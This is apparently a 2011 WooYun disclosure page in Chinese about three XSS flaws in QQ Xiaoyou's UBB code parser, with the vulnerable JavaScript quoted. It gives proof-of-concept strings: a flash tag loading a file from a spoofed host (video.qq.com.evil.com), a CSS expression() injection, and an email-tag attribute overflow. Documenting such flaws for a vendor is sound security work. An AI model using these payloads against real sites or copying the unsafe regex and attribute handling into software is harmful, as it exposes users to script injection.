当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01445

漏洞标题:QQ校友UBB代码跨站漏洞

相关厂商:腾讯

漏洞作者: p.z

提交时间:2011-02-27 23:57

修复时间:2011-03-30 00:00

公开时间:2011-03-30 00:00

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-02-27: 细节已通知厂商并且等待厂商处理中
2011-02-28: 厂商已经确认,细节仅向厂商公开
2011-03-10: 细节向核心白帽子及相关领域专家公开
2011-03-20: 细节向普通白帽子公开
2011-03-30: 细节向实习白帽子公开
2011-03-30: 细节向公众公开

简要描述:

QQ校友UBB代码对某些恶意构造的字符串处理不当 将导致跨站脚本攻击

详细说明:

2010/04/10已经报的,现在还没修复...

漏洞证明:

1.
问题正则:
var isQQVideo=/^http:\/\/((\w+\.|)video|v).qq.com/i.test(url);
var isImgCache=/^http:\/\/(?:cnc.|edu.)?imgcache.qq.com/i.test(url);
var isComic=/^http:\/\/comic.qq.com/i.test(url);
var netWorking=isQQVideo | isImgCache | isComic ? "all" : "internal";
var fullScreen=isQQVideo ? "true" : "false";
var scriptaccess=isQQVideo | isImgCache | isComic ? "always" : "never";
URL匹配正则后面还缺个"/",不然可以用子域名欺骗绕过.
PoC:[flash,1,1]http://video.qq.com.evil.com/evil.swf[/flash]
2.
问题JS:
regstr=new RegExp("\\[ft=([^\\]]+)\\]", "g");
if (a=srcString.match(regstr)){
fontCount+=a.length;
srcString=srcString.replace(regstr, function (){
var s=arguments[1].split(",");
try{
if (s[0].length==7 && s[0].substring(1, 3)>="AA" && s[0].substring(3, 5)>="AA" && s[0].substring(5, 7)>="AA")
s[0]="#000000";
}catch (e){
}
var color=s[0] ? ' color='+s[0] : '';
var size=s[1] ? s[1] : null;
var face=s[2] ? ' face='+s[2] : '';
return'<font'+color+face+' style="'+(!size ? "" : ("font-size:"+fontSizeMap[size-1]))+'">'
});
}
color和face的值直接传入,没有过滤,输出时又没有用引号把值给限定住,一个空格就可以把值分割出一个属性名,并赋值.
PoC:[ft=eee style=ee:expression(alert(2));display:none;]4[/ft]
(IE下有效)
3.
问题JS:
if (/(all)|(email)/.test(replacewhat)){
regstr=new RegExp("\\[email\\](.*?)\\[\\/email\\]", "g");
srcString=srcString.replace(regstr, "<a href='mailto:$1' target='_blank'>$1</a><wbr>");
regstr=new RegExp("\\[email=(.*?)\\](.*?)\\[\\/email\\]", "g");
srcString=srcString.replace(regstr, "<a href='mailto:$2' target='_blank'>$1</a><wbr>");
}
没有对[email][/email]以及[email=foo][/email]两个UBB标签之间的参数进行过滤,直接输出.又由于输出的变量位于HTML的A标签的第一个属性值内,可以形成属性值的溢出,在标签中自定义属性以及属性值.
PoC:[email]1[email=2]3 style=display:none;[/email][/email]
(IE下有效)

修复方案:

版权声明:转载请注明来源 p.z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2011-02-28 09:09

厂商回复:

thanks

最新状态:

暂无